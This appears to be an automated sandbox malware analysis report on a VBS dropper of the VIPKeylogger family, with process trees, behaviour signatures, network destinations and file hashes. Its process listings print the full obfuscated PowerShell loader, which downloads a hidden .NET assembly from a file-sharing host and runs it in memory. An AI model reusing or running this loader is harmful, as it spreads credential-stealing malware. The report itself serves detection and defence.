Malware Analysis Report

2024-12-07 14:09

Sample ID 241112-dm23lstejf
Target f4f50825743ac2b448f3254ff8ac01323ff16f9ed2287d0fe7614cf0b7a12348.vbs
SHA256 f4f50825743ac2b448f3254ff8ac01323ff16f9ed2287d0fe7614cf0b7a12348
Tags
execution vipkeylogger collection discovery keylogger stealer
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

f4f50825743ac2b448f3254ff8ac01323ff16f9ed2287d0fe7614cf0b7a12348

Threat Level: Known bad

The file f4f50825743ac2b448f3254ff8ac01323ff16f9ed2287d0fe7614cf0b7a12348.vbs was found to be: Known bad.

Malicious Activity Summary

execution vipkeylogger collection discovery keylogger stealer

Vipkeylogger family

VIPKeylogger

Command and Scripting Interpreter: PowerShell

Blocklisted process makes network request

Checks computer location settings

Accesses Microsoft Outlook profiles

Looks up external IP address via web service

Suspicious use of SetThreadContext

System Location Discovery: System Language Discovery

Enumerates physical storage devices

Browser Information Discovery

outlook_office_path

outlook_win_path

Suspicious use of WriteProcessMemory

Suspicious use of AdjustPrivilegeToken

Suspicious behavior: EnumeratesProcesses

Modifies registry class

Script User-Agent

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-11-12 03:08

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-11-12 03:08

Reported

2024-11-12 03:13

Platform

win7-20240903-en

Max time kernel

119s

Max time network

123s

Command Line

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\f4f50825743ac2b448f3254ff8ac01323ff16f9ed2287d0fe7614cf0b7a12348.vbs"

Signatures

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WScript.exe N/A
N/A N/A C:\Windows\System32\WScript.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Enumerates physical storage devices

Script User-Agent

Description Indicator Process Target
HTTP User-Agent header Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) N/A N/A
HTTP User-Agent header Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) N/A N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\f4f50825743ac2b448f3254ff8ac01323ff16f9ed2287d0fe7614cf0b7a12348.vbs"

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\XqrJnUsDhYijtro.vbs"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnT0s2aW1hZ2VVcmwgPSA5U2NodHRwczovLzEwMTcuZmlsZW1haWwuY29tL2FwaS9maWxlL2dldD9mJysnaWxla2V5PTJBYV9iV28nKyc5UmV1NDUnKyd0JysnN0JVMWtWZ3NkOXBUOXBnU1NsdlN0R3JuVEknKydDZkZobVRLajNMQzZTUXRJY09jX1QzNXcmcGtfdmlkPWZkNGY2MTRiYjIwOWM2MmMxNzMwOTQ1MTc2YTA5MDRmIDlTYztPSzZ3ZWJDJysnbGllbnQgPSBOZXcnKyctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50O09LNmltYWdlQnl0ZXMgPSBPSzZ3ZWJDJysnbGllbnQuRG93bmxvJysnYWREYXRhKE9LNmltYWdlVXJsKTtPSzZpbWFnZVRleHQgPSBbU3lzdGVtLicrJ1RleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZyhPSzZpbWFnJysnZUJ5dGVzKTtPSzZzdGEnKydydEZsYWcgPSA5U2M8PEJBU0U2NF9TVEFSVD4+OVNjO09LNmVuZEZsYWcgPSA5U2M8PEJBU0U2NF9FTkQ+PjlTYztPSzZzdGFydEluZGV4ID0gT0s2aW1hZ2VUZXh0LkluZGV4T2YoT0s2c3RhcnRGbCcrJ2FnKScrJztPSzZlbmRJbmRleCA9IE9LNmltYScrJ2dlVGV4dC5JbicrJ2RleE9mKE9LNmVuZEZsYWcpO09LNnN0YScrJ3J0SW5kZXggLWdlIDAgLWFuZCBPSzZlbmRJbmRleCAtZ3QgT0s2c3RhcnRJbmRleDtPSzZzdGFydEluZGV4ICsnKyc9IE9LNnN0YXJ0RmxhZy5MZW5ndGg7T0s2YmFzZTY0TGVuZ3RoID0gT0s2ZW5kSW5kZXggLSBPSzZzdGFydEluZGV4O09LNmJhc2U2NENvbW1hbmQgPSBPSzZpbWFnZVRleHQuU3Vic3RyaW5nKCcrJ09LNnN0JysnYXJ0SW5kZXgsIE9LNmJhc2U2NExlbmd0aCk7T0s2YmFzZTY0UmV2ZXJzZWQgPSAtam9pbiAoT0s2YmFzZTY0Q29tbWFuZC5Ub0NoYXJBcnJheSgpIHRyYiBGb3JFYWNoLU9iamVjdCB7IE9LNl8gfSlbLTEuLi0oJysnT0s2YmFzZTY0Q28nKydtbWFuZC5MZW5ndGgpXTtPSzZjb21tYW4nKydkQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjonKydGcm9tQmFzZTY0U3RyJysnaScrJ25nKE9LNmJhcycrJ2U2NCcrJ1JldmVyJysnc2VkKTtPSzZsb2FkZWRBc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseScrJ106OkxvYWQoT0s2Y29tbWFuZEJ5dGVzKTtPSzZ2YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKDlTJysnY1ZBSTlTYyk7T0s2dmFpTWV0aG9kLkludm9rZShPSzZudWxsLCcrJyBAKDlTY3QnKyd4dC5MU1NXUy9rbG8vdWUuaHN1cHdzcmVsbG9yLnN1cC8vOnB0dGg5U2MsIDlTY2Rlc2F0aXZhZG85U2MsIDlTY2Rlc2F0aXZhZG85U2MsIDlTYycrJ2Rlc2F0aXZhZG85U2MsIDlTJysnY2Rlc2F0aXZhJysnZCcrJ285U2MsIDlTYzE5U2MsIDlTY09uZURyaXZlU2V0dXA5U2MsIDlTY2Rlc2F0aXZhZG85U2MsIDlTY2Rlc2F0aXZhJysnZG85U2MsOVNjZGVzYXRpdmFkbzlTYyw5U2NkZXNhdGl2YWRvOVNjLDlTY2QnKydlc2F0aXZhZG85U2MsOVNjMTlTYyw5U2NkZXNhJysndGl2YWRvOVNjKSk7JykgIC1yZXBsQUNlKFtDSGFyXTExNitbQ0hhcl0xMTQrW0NIYXJdOTgpLFtDSGFyXTEyNC1jcmVwbGFDRSAnT0s2JyxbQ0hhcl0zNiAgLXJlcGxBQ2UgICc5U2MnLFtDSGFyXTM5KSB8ICYgKChHdiAnKk1kUionKS5OYW1FWzMsMTEsMl0tam9pTicnKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('OK6imageUrl = 9Schttps://1017.filemail.com/api/file/get?f'+'ilekey=2Aa_bWo'+'9Reu45'+'t'+'7BU1kVgsd9pT9pgSSlvStGrnTI'+'CfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f 9Sc;OK6webC'+'lient = New'+'-Object System.Net.WebClient;OK6imageBytes = OK6webC'+'lient.Downlo'+'adData(OK6imageUrl);OK6imageText = [System.'+'Text.Encoding]::UTF8.GetString(OK6imag'+'eBytes);OK6sta'+'rtFlag = 9Sc<<BASE64_START>>9Sc;OK6endFlag = 9Sc<<BASE64_END>>9Sc;OK6startIndex = OK6imageText.IndexOf(OK6startFl'+'ag)'+';OK6endIndex = OK6ima'+'geText.In'+'dexOf(OK6endFlag);OK6sta'+'rtIndex -ge 0 -and OK6endIndex -gt OK6startIndex;OK6startIndex +'+'= OK6startFlag.Length;OK6base64Length = OK6endIndex - OK6startIndex;OK6base64Command = OK6imageText.Substring('+'OK6st'+'artIndex, OK6base64Length);OK6base64Reversed = -join (OK6base64Command.ToCharArray() trb ForEach-Object { OK6_ })[-1..-('+'OK6base64Co'+'mmand.Length)];OK6comman'+'dBytes = [System.Convert]::'+'FromBase64Str'+'i'+'ng(OK6bas'+'e64'+'Rever'+'sed);OK6loadedAssembly = [System.Reflection.Assembly'+']::Load(OK6commandBytes);OK6vaiMethod = [dnlib.IO.Home].GetMethod(9S'+'cVAI9Sc);OK6vaiMethod.Invoke(OK6null,'+' @(9Sct'+'xt.LSSWS/klo/ue.hsupwsrellor.sup//:ptth9Sc, 9Scdesativado9Sc, 9Scdesativado9Sc, 9Sc'+'desativado9Sc, 9S'+'cdesativa'+'d'+'o9Sc, 9Sc19Sc, 9ScOneDriveSetup9Sc, 9Scdesativado9Sc, 9Scdesativa'+'do9Sc,9Scdesativado9Sc,9Scdesativado9Sc,9Scd'+'esativado9Sc,9Sc19Sc,9Scdesa'+'tivado9Sc));') -replACe([CHar]116+[CHar]114+[CHar]98),[CHar]124-creplaCE 'OK6',[CHar]36 -replACe '9Sc',[CHar]39) | & ((Gv '*MdR*').NamE[3,11,2]-joiN'')"

Network

Country Destination Domain Proto
US 8.8.8.8:53 paste.ee udp
US 172.67.187.200:80 paste.ee tcp
US 172.67.187.200:443 paste.ee tcp
US 8.8.8.8:53 1017.filemail.com udp
US 142.215.209.78:443 1017.filemail.com tcp
US 142.215.209.78:443 1017.filemail.com tcp

Files

C:\Users\Admin\AppData\Local\Temp\XqrJnUsDhYijtro.vbs

MD5 03e4e4d0259b3af7b37e2802812d9128
SHA1 fcef4018ec7206fb296b79e8035bb02457e39872
SHA256 26524695f59b3f155be3c94504537f36c5de23bc2226e5819b7919023dd5c183
SHA512 dbdaa2707f6e19442a7d55f119487b418f17a040462b11fc88653e130709c1127e2d0d1923dde3258546ff07b18c1d3c5cdbc2a7ff40f342d3689a618159e1a6

memory/612-8-0x000000001B3C0000-0x000000001B6A2000-memory.dmp

memory/612-9-0x00000000028A0000-0x00000000028A8000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

MD5 0b9439986ee468c1b245ae3b109fc8f8
SHA1 99e47c9f6bbfa40e0a6a928ca7288a078b0871a4
SHA256 33acb07b5b81eb2d21ed2f0b5b261bc42dd2bf3fd8fe5976fd4ee9a9420489b9
SHA512 20ffb5a73266da8a49e4de08034659e37ef8eed6c7d648476564e1291c1be9a5ddc81774227e78515d3bf5ce46cc648fbbb0372496dae365ad4595c29b583892

Analysis: behavioral2

Detonation Overview

Submitted

2024-11-12 03:08

Reported

2024-11-12 03:12

Platform

win10v2004-20241007-en

Max time kernel

130s

Max time network

147s

Command Line

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\f4f50825743ac2b448f3254ff8ac01323ff16f9ed2287d0fe7614cf0b7a12348.vbs"

Signatures

VIPKeylogger

stealer keylogger vipkeylogger

Vipkeylogger family

vipkeylogger

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WScript.exe N/A
N/A N/A C:\Windows\System32\WScript.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation C:\Windows\System32\WScript.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation C:\Windows\System32\WScript.exe N/A

Accesses Microsoft Outlook profiles

collection
Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Windows\SysWOW64\OneDriveSetup.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Windows\SysWOW64\OneDriveSetup.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Windows\SysWOW64\OneDriveSetup.exe N/A

Looks up external IP address via web service

Description Indicator Process Target
N/A checkip.dyndns.org N/A N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 2260 set thread context of 1564 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\OneDriveSetup.exe

Browser Information Discovery

discovery

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\OneDriveSetup.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Local Settings C:\Windows\System32\WScript.exe N/A

Script User-Agent

Description Indicator Process Target
HTTP User-Agent header Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) N/A N/A
HTTP User-Agent header Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) N/A N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\OneDriveSetup.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 384 wrote to memory of 1540 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\WScript.exe
PID 384 wrote to memory of 1540 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\WScript.exe
PID 1540 wrote to memory of 3288 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1540 wrote to memory of 3288 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3288 wrote to memory of 2260 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3288 wrote to memory of 2260 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2260 wrote to memory of 3416 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\OneDriveSetup.exe
PID 2260 wrote to memory of 3416 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\OneDriveSetup.exe
PID 2260 wrote to memory of 3416 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\OneDriveSetup.exe
PID 2260 wrote to memory of 1564 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\OneDriveSetup.exe
PID 2260 wrote to memory of 1564 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\OneDriveSetup.exe
PID 2260 wrote to memory of 1564 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\OneDriveSetup.exe
PID 2260 wrote to memory of 1564 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\OneDriveSetup.exe
PID 2260 wrote to memory of 1564 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\OneDriveSetup.exe
PID 2260 wrote to memory of 1564 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\OneDriveSetup.exe
PID 2260 wrote to memory of 1564 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\OneDriveSetup.exe
PID 2260 wrote to memory of 1564 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\OneDriveSetup.exe
PID 2260 wrote to memory of 1564 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\OneDriveSetup.exe

outlook_office_path

Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Windows\SysWOW64\OneDriveSetup.exe N/A

outlook_win_path

Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Windows\SysWOW64\OneDriveSetup.exe N/A

Processes

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\f4f50825743ac2b448f3254ff8ac01323ff16f9ed2287d0fe7614cf0b7a12348.vbs"

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\XqrJnUsDhYijtro.vbs"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnT0s2aW1hZ2VVcmwgPSA5U2NodHRwczovLzEwMTcuZmlsZW1haWwuY29tL2FwaS9maWxlL2dldD9mJysnaWxla2V5PTJBYV9iV28nKyc5UmV1NDUnKyd0JysnN0JVMWtWZ3NkOXBUOXBnU1NsdlN0R3JuVEknKydDZkZobVRLajNMQzZTUXRJY09jX1QzNXcmcGtfdmlkPWZkNGY2MTRiYjIwOWM2MmMxNzMwOTQ1MTc2YTA5MDRmIDlTYztPSzZ3ZWJDJysnbGllbnQgPSBOZXcnKyctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50O09LNmltYWdlQnl0ZXMgPSBPSzZ3ZWJDJysnbGllbnQuRG93bmxvJysnYWREYXRhKE9LNmltYWdlVXJsKTtPSzZpbWFnZVRleHQgPSBbU3lzdGVtLicrJ1RleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZyhPSzZpbWFnJysnZUJ5dGVzKTtPSzZzdGEnKydydEZsYWcgPSA5U2M8PEJBU0U2NF9TVEFSVD4+OVNjO09LNmVuZEZsYWcgPSA5U2M8PEJBU0U2NF9FTkQ+PjlTYztPSzZzdGFydEluZGV4ID0gT0s2aW1hZ2VUZXh0LkluZGV4T2YoT0s2c3RhcnRGbCcrJ2FnKScrJztPSzZlbmRJbmRleCA9IE9LNmltYScrJ2dlVGV4dC5JbicrJ2RleE9mKE9LNmVuZEZsYWcpO09LNnN0YScrJ3J0SW5kZXggLWdlIDAgLWFuZCBPSzZlbmRJbmRleCAtZ3QgT0s2c3RhcnRJbmRleDtPSzZzdGFydEluZGV4ICsnKyc9IE9LNnN0YXJ0RmxhZy5MZW5ndGg7T0s2YmFzZTY0TGVuZ3RoID0gT0s2ZW5kSW5kZXggLSBPSzZzdGFydEluZGV4O09LNmJhc2U2NENvbW1hbmQgPSBPSzZpbWFnZVRleHQuU3Vic3RyaW5nKCcrJ09LNnN0JysnYXJ0SW5kZXgsIE9LNmJhc2U2NExlbmd0aCk7T0s2YmFzZTY0UmV2ZXJzZWQgPSAtam9pbiAoT0s2YmFzZTY0Q29tbWFuZC5Ub0NoYXJBcnJheSgpIHRyYiBGb3JFYWNoLU9iamVjdCB7IE9LNl8gfSlbLTEuLi0oJysnT0s2YmFzZTY0Q28nKydtbWFuZC5MZW5ndGgpXTtPSzZjb21tYW4nKydkQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjonKydGcm9tQmFzZTY0U3RyJysnaScrJ25nKE9LNmJhcycrJ2U2NCcrJ1JldmVyJysnc2VkKTtPSzZsb2FkZWRBc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseScrJ106OkxvYWQoT0s2Y29tbWFuZEJ5dGVzKTtPSzZ2YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKDlTJysnY1ZBSTlTYyk7T0s2dmFpTWV0aG9kLkludm9rZShPSzZudWxsLCcrJyBAKDlTY3QnKyd4dC5MU1NXUy9rbG8vdWUuaHN1cHdzcmVsbG9yLnN1cC8vOnB0dGg5U2MsIDlTY2Rlc2F0aXZhZG85U2MsIDlTY2Rlc2F0aXZhZG85U2MsIDlTYycrJ2Rlc2F0aXZhZG85U2MsIDlTJysnY2Rlc2F0aXZhJysnZCcrJ285U2MsIDlTYzE5U2MsIDlTY09uZURyaXZlU2V0dXA5U2MsIDlTY2Rlc2F0aXZhZG85U2MsIDlTY2Rlc2F0aXZhJysnZG85U2MsOVNjZGVzYXRpdmFkbzlTYyw5U2NkZXNhdGl2YWRvOVNjLDlTY2QnKydlc2F0aXZhZG85U2MsOVNjMTlTYyw5U2NkZXNhJysndGl2YWRvOVNjKSk7JykgIC1yZXBsQUNlKFtDSGFyXTExNitbQ0hhcl0xMTQrW0NIYXJdOTgpLFtDSGFyXTEyNC1jcmVwbGFDRSAnT0s2JyxbQ0hhcl0zNiAgLXJlcGxBQ2UgICc5U2MnLFtDSGFyXTM5KSB8ICYgKChHdiAnKk1kUionKS5OYW1FWzMsMTEsMl0tam9pTicnKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('OK6imageUrl = 9Schttps://1017.filemail.com/api/file/get?f'+'ilekey=2Aa_bWo'+'9Reu45'+'t'+'7BU1kVgsd9pT9pgSSlvStGrnTI'+'CfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f 9Sc;OK6webC'+'lient = New'+'-Object System.Net.WebClient;OK6imageBytes = OK6webC'+'lient.Downlo'+'adData(OK6imageUrl);OK6imageText = [System.'+'Text.Encoding]::UTF8.GetString(OK6imag'+'eBytes);OK6sta'+'rtFlag = 9Sc<<BASE64_START>>9Sc;OK6endFlag = 9Sc<<BASE64_END>>9Sc;OK6startIndex = OK6imageText.IndexOf(OK6startFl'+'ag)'+';OK6endIndex = OK6ima'+'geText.In'+'dexOf(OK6endFlag);OK6sta'+'rtIndex -ge 0 -and OK6endIndex -gt OK6startIndex;OK6startIndex +'+'= OK6startFlag.Length;OK6base64Length = OK6endIndex - OK6startIndex;OK6base64Command = OK6imageText.Substring('+'OK6st'+'artIndex, OK6base64Length);OK6base64Reversed = -join (OK6base64Command.ToCharArray() trb ForEach-Object { OK6_ })[-1..-('+'OK6base64Co'+'mmand.Length)];OK6comman'+'dBytes = [System.Convert]::'+'FromBase64Str'+'i'+'ng(OK6bas'+'e64'+'Rever'+'sed);OK6loadedAssembly = [System.Reflection.Assembly'+']::Load(OK6commandBytes);OK6vaiMethod = [dnlib.IO.Home].GetMethod(9S'+'cVAI9Sc);OK6vaiMethod.Invoke(OK6null,'+' @(9Sct'+'xt.LSSWS/klo/ue.hsupwsrellor.sup//:ptth9Sc, 9Scdesativado9Sc, 9Scdesativado9Sc, 9Sc'+'desativado9Sc, 9S'+'cdesativa'+'d'+'o9Sc, 9Sc19Sc, 9ScOneDriveSetup9Sc, 9Scdesativado9Sc, 9Scdesativa'+'do9Sc,9Scdesativado9Sc,9Scdesativado9Sc,9Scd'+'esativado9Sc,9Sc19Sc,9Scdesa'+'tivado9Sc));') -replACe([CHar]116+[CHar]114+[CHar]98),[CHar]124-creplaCE 'OK6',[CHar]36 -replACe '9Sc',[CHar]39) | & ((Gv '*MdR*').NamE[3,11,2]-joiN'')"

C:\Windows\SysWOW64\OneDriveSetup.exe

"C:\Windows\SysWOW64\OneDriveSetup.exe"

C:\Windows\SysWOW64\OneDriveSetup.exe

"C:\Windows\SysWOW64\OneDriveSetup.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 paste.ee udp
US 104.21.84.67:80 paste.ee tcp
US 104.21.84.67:443 paste.ee tcp
US 8.8.8.8:53 133.211.185.52.in-addr.arpa udp
US 8.8.8.8:53 67.84.21.104.in-addr.arpa udp
US 8.8.8.8:53 23.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 1017.filemail.com udp
US 142.215.209.78:443 1017.filemail.com tcp
US 8.8.8.8:53 78.209.215.142.in-addr.arpa udp
US 8.8.8.8:53 232.168.11.51.in-addr.arpa udp
US 8.8.8.8:53 pus.rollerswpush.eu udp
LT 141.98.10.88:80 pus.rollerswpush.eu tcp
US 8.8.8.8:53 88.10.98.141.in-addr.arpa udp
US 8.8.8.8:53 checkip.dyndns.org udp
BR 132.226.247.73:80 checkip.dyndns.org tcp
US 8.8.8.8:53 73.247.226.132.in-addr.arpa udp
US 8.8.8.8:53 reallyfreegeoip.org udp
US 172.67.177.134:443 reallyfreegeoip.org tcp
US 8.8.8.8:53 134.177.67.172.in-addr.arpa udp
US 8.8.8.8:53 api.telegram.org udp
NL 149.154.167.220:443 api.telegram.org tcp
US 8.8.8.8:53 50.23.12.20.in-addr.arpa udp
US 8.8.8.8:53 220.167.154.149.in-addr.arpa udp
US 8.8.8.8:53 241.42.69.40.in-addr.arpa udp
US 8.8.8.8:53 105.209.201.84.in-addr.arpa udp
US 8.8.8.8:53 sws.swpushroller.eu udp
LT 141.98.10.88:80 sws.swpushroller.eu tcp
US 8.8.8.8:53 240.221.184.93.in-addr.arpa udp
US 8.8.8.8:53 19.229.111.52.in-addr.arpa udp

Files

C:\Users\Admin\AppData\Local\Temp\XqrJnUsDhYijtro.vbs

MD5 03e4e4d0259b3af7b37e2802812d9128
SHA1 fcef4018ec7206fb296b79e8035bb02457e39872
SHA256 26524695f59b3f155be3c94504537f36c5de23bc2226e5819b7919023dd5c183
SHA512 dbdaa2707f6e19442a7d55f119487b418f17a040462b11fc88653e130709c1127e2d0d1923dde3258546ff07b18c1d3c5cdbc2a7ff40f342d3689a618159e1a6

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2gmdwnqk.uo0.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/3288-13-0x000001D1213C0000-0x000001D1213E2000-memory.dmp

memory/2260-23-0x000001ADBB7C0000-0x000001ADBB918000-memory.dmp

memory/1564-24-0x0000000000400000-0x0000000000437000-memory.dmp

memory/1564-25-0x0000000000400000-0x0000000000437000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 5caad758326454b5788ec35315c4c304
SHA1 3aef8dba8042662a7fcf97e51047dc636b4d4724
SHA256 83e613b6dc8d70e3bb67c58535e014f58f3e8b2921e93b55137d799fc8c56391
SHA512 4e0d443cf81e2f49829b0a458a08294bf1bdc0e38d3a938fb8274eeb637d9a688b14c7999dd6b86a31fcec839a9e8c1a9611ed0bbae8bd59caa9dba1e8253693

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5 f41839a3fe2888c8b3050197bc9a0a05
SHA1 0798941aaf7a53a11ea9ed589752890aee069729
SHA256 224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a
SHA512 2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

memory/1564-31-0x0000000004980000-0x00000000049CE000-memory.dmp

